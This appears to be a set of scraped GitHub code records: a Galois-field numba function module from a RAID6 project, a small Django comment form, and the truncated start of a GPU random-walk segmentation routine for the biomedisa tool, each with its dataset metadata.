function overriding for an ndarray subclass. Additionally, other\nJIT functions are created for use in polynomials and error-correcting codes, such as _poly_evaluate() or _poly_divmod().\n\"\"\"\nimport numba\nfrom numba import int64\nimport numpy as np\n\nfrom . import _linalg\nfrom ._dtypes import DTYPES\nfrom ._ufuncs import UfuncMeta\n\n\nclass FunctionMeta(UfuncMeta):\n \"\"\"\n A mixin metaclass that JIT compiles general-purpose functions on Galois field arrays.\n \"\"\"\n # pylint: disable=no-value-for-parameter,abstract-method\n\n _UNSUPPORTED_FUNCTIONS_UNARY = [\n np.packbits, np.unpackbits,\n np.unwrap,\n np.around, np.round_, np.fix,\n np.gradient, np.trapz,\n np.i0, np.sinc,\n np.angle, np.real, np.imag, np.conj, np.conjugate,\n ]\n\n _UNSUPPORTED_FUNCTIONS_BINARY = [\n np.lib.scimath.logn,\n np.cross,\n ]\n\n _UNSUPPORTED_FUNCTIONS = _UNSUPPORTED_FUNCTIONS_UNARY + _UNSUPPORTED_FUNCTIONS_BINARY\n\n _FUNCTIONS_REQUIRING_VIEW = [\n np.concatenate,\n np.broadcast_to,\n np.trace,\n ]\n\n _OVERRIDDEN_FUNCTIONS = {\n np.convolve: \"_convolve\",\n }\n\n _OVERRIDDEN_LINALG_FUNCTIONS = {\n np.dot: _linalg.dot,\n np.vdot: _linalg.vdot,\n np.inner: _linalg.inner,\n np.outer: _linalg.outer,\n # np.tensordot: _linalg.\"tensordot\",\n np.linalg.det: _linalg.det,\n np.linalg.matrix_rank: _linalg.matrix_rank,\n np.linalg.solve: _linalg.solve,\n np.linalg.inv: _linalg.inv,\n }\n\n _MATMUL_CALCULATE_SIG = numba.types.FunctionType(int64[:,:](int64[:,:], int64[:,:], UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, int64, int64, int64))\n _CONVOLVE_CALCULATE_SIG = numba.types.FunctionType(int64[:](int64[:], int64[:], UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, int64, int64, int64))\n _POLY_EVALUATE_CALCULATE_SIG = numba.types.FunctionType(int64[:](int64[:], int64[:], UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, int64, int64, int64))\n _POLY_DIVMOD_CALCULATE_SIG = numba.types.FunctionType(int64[:,:](int64[:,:], int64[:], UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, int64, int64, int64))\n _POLY_ROOTS_CALCULATE_SIG = numba.types.FunctionType(int64[:,:](int64[:], int64[:], int64, UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, UfuncMeta._BINARY_CALCULATE_SIG, int64, int64, int64))\n\n _FUNCTION_CACHE_CALCULATE = {}\n\n def __init__(cls, name, bases, namespace, **kwargs):\n super().__init__(name, bases, namespace, **kwargs)\n cls._functions = {}\n\n ###############################################################################\n # Individual functions, pre-compiled (cached)\n ###############################################################################\n\n def _function(cls, name):\n \"\"\"\n Returns the function for the specific routine. The function compilation is based on `ufunc_mode`.\n \"\"\"\n if name not in cls._functions:\n if cls.ufunc_mode != \"python-calculate\":\n cls._functions[name] = cls._function_calculate(name)\n else:\n cls._functions[name] = cls._function_python(name)\n return cls._functions[name]\n\n def _function_calculate(cls, name):\n \"\"\"\n Returns a JIT-compiled function using explicit calculation. These functions are once-compiled and shared for all\n Galois fields. The only difference between Galois fields are the arithmetic funcs, characteristic, degree, and\n irreducible polynomial that are passed in as inputs.\n \"\"\"\n key = (name,)\n\n if key not in cls._FUNCTION_CACHE_CALCULATE:\n function = getattr(cls, f\"_{name}_calculate\")\n sig = getattr(cls, f\"_{name.upper()}_CALCULATE_SIG\")\n cls._FUNCTION_CACHE_CALCULATE[key] = numba.jit(sig.signature, nopython=True, cache=True)(function)\n\n return cls._FUNCTION_CACHE_CALCULATE[key]\n\n def _function_python(cls, name):\n \"\"\"\n Returns a pure-python function using explicit calculation.\n \"\"\"\n return getattr(cls, f\"_{name}_calculate\")\n\n ###############################################################################\n # Function routines\n ###############################################################################\n\n def _matmul(cls, A, B, out=None, **kwargs): # pylint: disable=unused-argument\n if not type(A) is type(B):\n raise TypeError(f\"Operation 'matmul' requires both arrays be in the same Galois field, not {type(A)} and {type(B)}.\")\n if not (A.ndim >= 1 and B.ndim >= 1):\n raise ValueError(f\"Operation 'matmul' requires both arrays have dimension at least 1, not {A.ndim}-D and {B.ndim}-D.\")\n if not (A.ndim <= 2 and B.ndim <= 2):\n raise ValueError(\"Operation 'matmul' currently only supports matrix multiplication up to 2-D. If you would like matrix multiplication of N-D arrays, please submit a GitHub issue at https://github.com/mhostetter/galois/issues.\")\n field = type(A)\n dtype = A.dtype\n\n if field.is_prime_field:\n return _linalg._lapack_linalg(A, B, np.matmul, out=out)\n\n prepend, append = False, False\n if A.ndim == 1:\n A = A.reshape((1,A.size))\n prepend = True\n if B.ndim == 1:\n B = B.reshape((B.size,1))\n append = True\n\n if not A.shape[-1] == B.shape[-2]:\n raise ValueError(f\"Operation 'matmul' requires the last dimension of A to match the second-to-last dimension of B, not {A.shape} and {B.shape}.\")\n\n # if A.ndim > 2 and B.ndim == 2:\n # new_shape = list(A.shape[:-2]) + list(B.shape)\n # B = np.broadcast_to(B, new_shape)\n # if B.ndim > 2 and A.ndim == 2:\n # new_shape = list(B.shape[:-2]) + list(A.shape)\n # A = np.broadcast_to(A, new_shape)\n\n if cls.ufunc_mode != \"python-calculate\":\n A = A.astype(np.int64)\n B = B.astype(np.int64)\n add = cls._func_calculate(\"add\")\n multiply = cls._func_calculate(\"multiply\")\n C = cls._function(\"matmul\")(A, B, add, multiply, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n C = C.astype(dtype)\n else:\n A = A.view(np.ndarray)\n B = B.view(np.ndarray)\n add = cls._func_python(\"add\")\n multiply = cls._func_python(\"multiply\")\n C = cls._function(\"matmul\")(A, B, add, multiply, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n C = C.view(field)\n\n shape = list(C.shape)\n if prepend:\n shape = shape[1:]\n if append:\n shape = shape[:-1]\n C = C.reshape(shape)\n\n # TODO: Determine a better way to do this\n if out is not None:\n assert isinstance(out, tuple) and len(out) == 1 # TODO: Why is `out` getting populated as tuple?\n out = out[0]\n out[:] = C[:]\n\n return C\n\n def _convolve(cls, a, b, mode=\"full\"):\n if not type(a) is type(b):\n raise TypeError(f\"Arguments `a` and `b` must be of the same Galois field array class, not {type(a)} and {type(b)}.\")\n if not mode == \"full\":\n raise ValueError(f\"Operation 'convolve' currently only supports mode of 'full', not {mode!r}.\")\n field = type(a)\n dtype = a.dtype\n\n if field.is_prime_field:\n # Determine the minimum dtype to hold the entire product and summation without overflowing\n n_sum = min(a.size, b.size)\n max_value = n_sum * (field.characteristic - 1)**2\n dtypes = [dtype for dtype in DTYPES if np.iinfo(dtype).max >= max_value]\n dtype = np.object_ if len(dtypes) == 0 else dtypes[0]\n return_dtype = a.dtype\n a = a.view(np.ndarray).astype(dtype)\n b = b.view(np.ndarray).astype(dtype)\n c = np.convolve(a, b) # Compute result using native numpy LAPACK/BLAS implementation\n c = c % field.characteristic # Reduce the result mod p\n c = c.astype(return_dtype).view(field) if not np.isscalar(c) else field(c, dtype=return_dtype)\n return c\n else:\n if cls.ufunc_mode != \"python-calculate\":\n a = a.astype(np.int64)\n b = b.astype(np.int64)\n add = cls._func_calculate(\"add\")\n multiply = cls._func_calculate(\"multiply\")\n c = cls._function(\"convolve\")(a, b, add, multiply, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n c = c.astype(dtype)\n else:\n a = a.view(np.ndarray)\n b = b.view(np.ndarray)\n add = cls._func_python(\"add\")\n multiply = cls._func_python(\"multiply\")\n c = cls._function(\"convolve\")(a, b, add, multiply, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n c = c.view(field)\n\n return c\n\n def _poly_evaluate(cls, coeffs, x):\n field = cls\n dtype = x.dtype\n shape = x.shape\n x = np.atleast_1d(x.flatten())\n\n if cls.ufunc_mode != \"python-calculate\":\n coeffs = coeffs.astype(np.int64)\n x = x.astype(np.int64)\n add = cls._func_calculate(\"add\")\n multiply = cls._func_calculate(\"multiply\")\n results = cls._function(\"poly_evaluate\")(coeffs, x, add, multiply, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n results = results.astype(dtype)\n else:\n coeffs = coeffs.view(np.ndarray)\n x = x.view(np.ndarray)\n add = cls._func_python(\"add\")\n multiply = cls._func_python(\"multiply\")\n results = cls._function(\"poly_evaluate\")(coeffs, x, add, multiply, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n results = results.view(field)\n results = results.reshape(shape)\n\n return results\n\n def _poly_divmod(cls, a, b):\n assert isinstance(a, cls) and isinstance(b, cls)\n assert 1 <= a.ndim <= 2 and b.ndim == 1\n field = type(a)\n dtype = a.dtype\n a_1d = a.ndim == 1\n a = np.atleast_2d(a)\n\n q_degree = a.shape[-1] - b.shape[-1]\n r_degree = b.shape[-1] - 1\n\n if cls.ufunc_mode != \"python-calculate\":\n a = a.astype(np.int64)\n b = b.astype(np.int64)\n subtract = cls._func_calculate(\"subtract\")\n multiply = cls._func_calculate(\"multiply\")\n divide = cls._func_calculate(\"divide\")\n qr = cls._function(\"poly_divmod\")(a, b, subtract, multiply, divide, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n qr = qr.astype(dtype)\n else:\n a = a.view(np.ndarray)\n b = b.view(np.ndarray)\n subtract = cls._func_python(\"subtract\")\n multiply = cls._func_python(\"multiply\")\n divide = cls._func_python(\"divide\")\n qr = cls._function(\"poly_divmod\")(a, b, subtract, multiply, divide, cls.characteristic, cls.degree, cls._irreducible_poly_int)\n qr = qr.view(field)\n\n q = qr[:, 0:q_degree + 1]\n r = qr[:, q_degree + 1:q_degree + 1 + r_degree + 1]\n\n if a_1d:\n q = q.reshape(q.size)\n r = r.reshape(r.size)\n\n return q, r\n\n def _poly_roots(cls, nonzero_degrees, nonzero_coeffs):\n assert isinstance(nonzero_coeffs, cls)\n field = cls\n dtype = nonzero_coeffs.dtype\n\n if cls.ufunc_mode != \"python-calculate\":\n nonzero_degrees = nonzero_degrees.astype(np.int64)\n nonzero_coeffs = nonzero_coeffs.astype(np.int64)\n add = cls._func_calculate(\"add\")\n multiply = cls._func_calculate(\"multiply\")\n power = cls._func_calculate(\"power\")\n roots = cls._function(\"poly_roots\")(nonzero_degrees, nonzero_coeffs, np.int64(cls.primitive_element), add, multiply, power, cls.characteristic, cls.degree, cls._irreducible_poly_int)[0,:]\n roots = roots.astype(dtype)\n else:\n nonzero_degrees = nonzero_degrees.view(np.ndarray)\n nonzero_coeffs = nonzero_coeffs.view(np.ndarray)\n add = cls._func_python(\"add\")\n multiply = cls._func_python(\"multiply\")\n power = cls._func_python(\"power\")\n roots = cls._function(\"poly_roots\")(nonzero_degrees, nonzero_coeffs, int(cls.primitive_element), add, multiply, power, cls.characteristic, cls.degree, cls._irreducible_poly_int)[0,:]\n roots = roots.view(field)\n\n idxs = np.argsort(roots)\n return roots[idxs]\n\n ###############################################################################\n # Function implementations using explicit calculation\n ###############################################################################\n\n @staticmethod\n @numba.extending.register_jitable(inline=\"always\")\n def _matmul_calculate(A, B, ADD, MULTIPLY, CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY):\n args = CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY\n dtype = A.dtype\n\n assert A.ndim == 2 and B.ndim == 2\n assert A.shape[-1] == B.shape[-2]\n\n M, K = A.shape\n K, N = B.shape\n C = np.zeros((M, N), dtype=dtype)\n for i in range(M):\n for j in range(N):\n for k in range(K):\n C[i,j] = ADD(C[i,j], MULTIPLY(A[i,k], B[k,j], *args), *args)\n\n return C\n\n @staticmethod\n @numba.extending.register_jitable(inline=\"always\")\n def _convolve_calculate(a, b, ADD, MULTIPLY, CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY):\n args = CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY\n dtype = a.dtype\n\n c = np.zeros(a.size + b.size - 1, dtype=dtype)\n for i in range(a.size):\n for j in range(b.size - 1, -1, -1):\n c[i + j] = ADD(c[i + j], MULTIPLY(a[i], b[j], *args), *args)\n\n return c\n\n @staticmethod\n @numba.extending.register_jitable(inline=\"always\")\n def _poly_evaluate_calculate(coeffs, values, ADD, MULTIPLY, CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY): # pragma: no cover\n args = CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY\n dtype = values.dtype\n\n results = np.zeros(values.size, dtype=dtype)\n for i in range(values.size):\n results[i] = coeffs[0]\n for j in range(1, coeffs.size):\n results[i] = ADD(coeffs[j], MULTIPLY(results[i], values[i], *args), *args)\n\n return results\n\n @staticmethod\n @numba.extending.register_jitable(inline=\"always\")\n def _poly_divmod_calculate(a, b, SUBTRACT, MULTIPLY, DIVIDE, CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY):\n args = CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY\n\n assert a.ndim == 2 and b.ndim == 1\n assert a.shape[-1] >= b.shape[-1]\n\n q_degree = a.shape[1] - b.shape[-1]\n qr = a.copy()\n\n for k in range(a.shape[0]):\n for i in range(q_degree + 1):\n if qr[k,i] > 0:\n q = DIVIDE(qr[k,i], b[0], *args)\n for j in range(b.size):\n qr[k, i + j] = SUBTRACT(qr[k, i + j], MULTIPLY(q, b[j], *args), *args)\n qr[k,i] = q\n\n return qr\n\n @staticmethod\n @numba.extending.register_jitable(inline=\"always\")\n def _poly_roots_calculate(nonzero_degrees, nonzero_coeffs, primitive_element, ADD, MULTIPLY, POWER, CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY):\n args = CHARACTERISTIC, DEGREE, IRREDUCIBLE_POLY\n dtype = nonzero_coeffs.dtype\n ORDER = CHARACTERISTIC**DEGREE\n\n N = nonzero_degrees.size\n lambda_vector = nonzero_coeffs.copy()\n alpha_vector = np.zeros(N, dtype=dtype)\n for i in range(N):\n alpha_vector[i] = POWER(primitive_element, nonzero_degrees[i], *args)\n degree = np.max(nonzero_degrees)\n roots = []\n powers = []\n\n # Test if 0 is a root\n if nonzero_degrees[-1] != 0:\n roots.append(0)\n powers.append(-1)\n\n # Test if 1 is a root\n _sum = 0\n for i in range(N):\n _sum = ADD(_sum, lambda_vector[i], *args)\n if _sum == 0:\n roots.append(1)\n powers.append(0)\n\n # Test if the powers of alpha are roots\n for i in range(1, ORDER - 1):\n _sum = 0\n for j in range(N):\n lambda_vector[j] = MULTIPLY(lambda_vector[j], alpha_vector[j], *args)\n _sum = ADD(_sum, lambda_vector[j], *args)\n if _sum == 0:\n root = POWER(primitive_element, i, *args)\n roots.append(root)\n powers.append(i)\n if len(roots) == degree:\n break\n\n return np.array([roots, powers], dtype=dtype)\n", "repo_name": "xavi0007/CE7490_Raid6", "sub_path": "galois/_fields/_functions.py", "file_name": "_functions.py", "file_ext": "py", "file_size_in_byte": 17030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "_ufuncs.UfuncMeta", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.packbits", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.unpackbits", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.unwrap", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.around", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.round_", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.fix", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.gradient", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.trapz", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.i0", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.sinc", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.angle", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.real", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.imag", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.conj", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.conjugate", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.lib", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.cross", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.broadcast_to", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.trace", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.convolve", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.vdot", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.inner", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.outer", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.linalg", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.linalg", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.linalg", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.linalg", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numba.types.FunctionType", "line_number": 58, "usage_type": "call"}, {"api_name": "numba.types", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numba.int64", "line_number": 58, "usage_type": "argument"}, {"api_name": "_ufuncs.UfuncMeta._BINARY_CALCULATE_SIG", "line_number": 58, "usage_type": "attribute"}, {"api_name": "_ufuncs.UfuncMeta", "line_number": 58, "usage_type": "name"}, {"api_name": "numba.types.FunctionType", "line_number": 59, "usage_type": "call"}, {"api_name": "numba.types", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numba.int64", "line_number": 59, "usage_type": "argument"}, {"api_name": "_ufuncs.UfuncMeta._BINARY_CALCULATE_SIG", "line_number": 59, "usage_type": "attribute"}, {"api_name": "_ufuncs.UfuncMeta", "line_number": 59, "usage_type": "name"}, {"api_name": "numba.types.FunctionType", "line_number": 60, "usage_type": "call"}, {"api_name": "numba.types", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numba.int64", "line_number": 60, "usage_type": "argument"}, {"api_name": "_ufuncs.UfuncMeta._BINARY_CALCULATE_SIG", "line_number": 60, "usage_type": "attribute"}, {"api_name": "_ufuncs.UfuncMeta", "line_number": 60, "usage_type": "name"}, {"api_name": "numba.types.FunctionType", "line_number": 61, "usage_type": "call"}, {"api_name": "numba.types", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numba.int64", "line_number": 61, "usage_type": "argument"}, {"api_name": "_ufuncs.UfuncMeta._BINARY_CALCULATE_SIG", "line_number": 61, "usage_type": "attribute"}, {"api_name": "_ufuncs.UfuncMeta", "line_number": 61, "usage_type": "name"}, {"api_name": "numba.types.FunctionType", "line_number": 62, "usage_type": "call"}, {"api_name": "numba.types", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numba.int64", "line_number": 62, "usage_type": "argument"}, {"api_name": "_ufuncs.UfuncMeta._BINARY_CALCULATE_SIG", "line_number": 62, "usage_type": "attribute"}, {"api_name": "_ufuncs.UfuncMeta", "line_number": 62, "usage_type": "name"}, {"api_name": "numba.jit", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 150, "usage_type": "attribute"}, {"api_name": "_dtypes.DTYPES", "line_number": 183, "usage_type": "name"}, {"api_name": "numpy.iinfo", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.object_", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 187, "usage_type": "attribute"}, {"api_name": "numpy.convolve", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.isscalar", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 195, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 201, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 202, "usage_type": "attribute"}, {"api_name": "numpy.atleast_1d", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 217, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 218, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 224, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 225, "usage_type": "attribute"}, {"api_name": "numpy.atleast_2d", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 246, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 247, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 254, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 255, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 277, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 278, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 285, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 286, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 311, "usage_type": "call"}, {"api_name": "numba.extending.register_jitable", "line_number": 301, "usage_type": "call"}, {"api_name": "numba.extending", "line_number": 301, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 325, "usage_type": "call"}, {"api_name": "numba.extending.register_jitable", "line_number": 320, "usage_type": "call"}, {"api_name": "numba.extending", "line_number": 320, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 338, "usage_type": "call"}, {"api_name": "numba.extending.register_jitable", "line_number": 333, "usage_type": "call"}, {"api_name": "numba.extending", "line_number": 333, "usage_type": "attribute"}, {"api_name": "numba.extending.register_jitable", "line_number": 347, "usage_type": "call"}, {"api_name": "numba.extending", "line_number": 347, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 379, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 409, "usage_type": "call"}, {"api_name": "numba.extending.register_jitable", "line_number": 368, "usage_type": "call"}, {"api_name": "numba.extending", "line_number": 368, "usage_type": "attribute"}]} {"seq_id": "74277006942", "text": "#!/usr/bin/env python \n# encoding: utf-8 \n\n\"\"\" \n@version: v1.0 \n@author: Lomedy\n@license: Apache Licence \n@contact: 284241181@qq.com \n@software: PyCharm \n@file: forms.py \n@time: 2018/1/28 0028 16:20 \n\"\"\"\n\nfrom django import forms\n\nclass CommnetForm(forms.Form):\n '''\n 评论表单用于发表博客的评论\n '''\n name = forms.CharField(label='称呼',max_length=16,error_messages={\n 'required':'请填写您的称呼',\n 'max_length':'称呼太长',\n })\n email = forms.EmailField(label='邮箱',error_messages={\n 'required':'请填写您的邮箱',\n 'invalid':'邮箱格式不正确',\n })\n\n content = forms.CharField(label='评论内容',error_messages={\n 'required':'请填写您的评论内容',\n 'max_length':'评论内容太长'\n })", "repo_name": "lcmodyblog/blog", "sub_path": "blog/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 809, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.forms.Form", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 16, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 20, "usage_type": "name"}, {"api_name": "django.forms.EmailField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 24, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 29, "usage_type": "name"}]} {"seq_id": "13792683562", "text": "from biomedisa_features.biomedisa_helper import (_get_device, save_data, unique_file_path,\n sendToChild, _split_indices, get_labels)\nfrom multiprocessing import Process\nfrom mpi4py import MPI\nimport os, sys\nimport numpy as np\nimport time\nimport socket\n\ndef _diffusion_child(comm, bm=None):\n\n if bm.django_env:\n import django\n django.setup()\n from biomedisa_app.models import Upload\n from biomedisa_app.views import send_notification\n from biomedisa_features.active_contour import active_contour\n from biomedisa_features.remove_outlier import remove_outlier\n from biomedisa_features.create_slices import create_slices\n from biomedisa_app.config import config\n from redis import Redis\n from rq import Queue\n\n rank = comm.Get_rank()\n ngpus = comm.Get_size()\n\n nodename = socket.gethostname()\n name = '%s %s' %(nodename, rank)\n print(name)\n\n if rank == 0:\n\n results = {}\n\n # split indices on GPUs\n indices_split = _split_indices(bm.indices, ngpus)\n print('Indices:', indices_split)\n\n # send data to GPUs\n for k in range(1, ngpus):\n sendToChild(comm, bm.indices, indices_split[k], k, bm.data, bm.labels, bm.label.nbrw,\n bm.label.sorw, bm.label.allaxis, bm.platform)\n\n # select platform\n if bm.platform == 'cuda':\n import pycuda.driver as cuda\n import pycuda.gpuarray as gpuarray\n from biomedisa_features.random_walk.gpu_kernels import (_build_kernel_uncertainty, \n _build_kernel_max, _build_update_gpu, _build_curvature_gpu)\n cuda.init()\n dev = cuda.Device(rank)\n ctx, queue = dev.make_context(), None\n if bm.label.allaxis:\n from biomedisa_features.random_walk.pycuda_small_allx import walk\n else:\n from biomedisa_features.random_walk.pycuda_small import walk\n else:\n ctx, queue = _get_device(bm.platform, rank)\n from biomedisa_features.random_walk.pyopencl_small import walk\n\n # run random walks\n tic = time.time()\n walkmap = walk(bm.data, bm.labels, bm.indices, indices_split[0], bm.label.nbrw, bm.label.sorw, name, ctx, queue)\n tac = time.time()\n print('Walktime_%s: ' %(name) + str(int(tac - tic)) + ' ' + 'seconds')\n\n # gather data\n zsh_tmp = bm.argmax_z - bm.argmin_z\n ysh_tmp = bm.argmax_y - bm.argmin_y\n xsh_tmp = bm.argmax_x - bm.argmin_x\n if ngpus > 1:\n final_zero = np.empty((bm.nol, zsh_tmp, ysh_tmp, xsh_tmp), dtype=np.float32)\n for k in range(bm.nol):\n sendbuf = np.copy(walkmap[k])\n recvbuf = np.empty((zsh_tmp, ysh_tmp, xsh_tmp), dtype=np.float32)\n comm.Barrier()\n comm.Reduce([sendbuf, MPI.FLOAT], [recvbuf, MPI.FLOAT], root=0, op=MPI.SUM)\n final_zero[k] = recvbuf\n else:\n final_zero = walkmap\n\n # block and grid size\n block = (32, 32, 1)\n x_grid = (xsh_tmp // 32) + 1\n y_grid = (ysh_tmp // 32) + 1\n grid = (int(x_grid), int(y_grid), int(zsh_tmp))\n xsh_gpu = np.int32(xsh_tmp)\n ysh_gpu = np.int32(ysh_tmp)\n\n # smooth\n if bm.label.smooth:\n try:\n update_gpu = _build_update_gpu()\n curvature_gpu = _build_curvature_gpu()\n a_gpu = gpuarray.empty((zsh_tmp, ysh_tmp, xsh_tmp), dtype=np.float32)\n b_gpu = gpuarray.zeros((zsh_tmp, ysh_tmp, xsh_tmp), dtype=np.float32)\n except Exception as e:\n print('Warning: GPU out of memory to allocate smooth array. Process starts without smoothing.')\n bm.label.smooth = 0\n\n if bm.label.smooth:\n final_smooth = np.copy(final_zero)\n for k in range(bm.nol):\n a_gpu = gpuarray.to_gpu(final_smooth[k])\n for l in range(bm.label.smooth):\n curvature_gpu(a_gpu, b_gpu, xsh_gpu, ysh_gpu, block=block, grid=grid)\n update_gpu(a_gpu, b_gpu, xsh_gpu, ysh_gpu, block=block, grid=grid)\n final_smooth[k] = a_gpu.get()\n final_smooth = np.argmax(final_smooth, axis=0).astype(np.uint8)\n final_smooth = get_labels(final_smooth, bm.allLabels)\n smooth_result = np.zeros((bm.zsh, bm.ysh, bm.xsh), dtype=np.uint8)\n smooth_result[bm.argmin_z:bm.argmax_z, bm.argmin_y:bm.argmax_y, bm.argmin_x:bm.argmax_x] = final_smooth\n smooth_result = smooth_result[1:-1, 1:-1, 1:-1]\n results['smooth'] = smooth_result\n if bm.django_env:\n bm.path_to_smooth = unique_file_path(bm.path_to_smooth, bm.image.user.username)\n if bm.path_to_data:\n save_data(bm.path_to_smooth, smooth_result, bm.header, bm.final_image_type, bm.label.compression)\n\n # uncertainty\n if bm.label.uncertainty:\n try:\n max_gpu = gpuarray.zeros((3, zsh_tmp, ysh_tmp, xsh_tmp), dtype=np.float32)\n a_gpu = gpuarray.zeros((zsh_tmp, ysh_tmp, xsh_tmp), dtype=np.float32)\n kernel_uncertainty = _build_kernel_uncertainty()\n kernel_max = _build_kernel_max()\n for k in range(bm.nol):\n a_gpu = gpuarray.to_gpu(final_zero[k])\n kernel_max(max_gpu, a_gpu, xsh_gpu, ysh_gpu, block=block, grid=grid)\n kernel_uncertainty(max_gpu, a_gpu, xsh_gpu, ysh_gpu, block=block, grid=grid)\n uq = a_gpu.get()\n uq *= 255\n uq = uq.astype(np.uint8)\n uncertainty_result = np.zeros((bm.zsh, bm.ysh, bm.xsh), dtype=np.uint8)\n uncertainty_result[bm.argmin_z:bm.argmax_z, bm.argmin_y:bm.argmax_y, bm.argmin_x:bm.argmax_x] = uq\n uncertainty_result = uncertainty_result[1:-1, 1:-1, 1:-1]\n results['uncertainty'] = uncertainty_result\n if bm.django_env:\n bm.path_to_uq = unique_file_path(bm.path_to_uq, 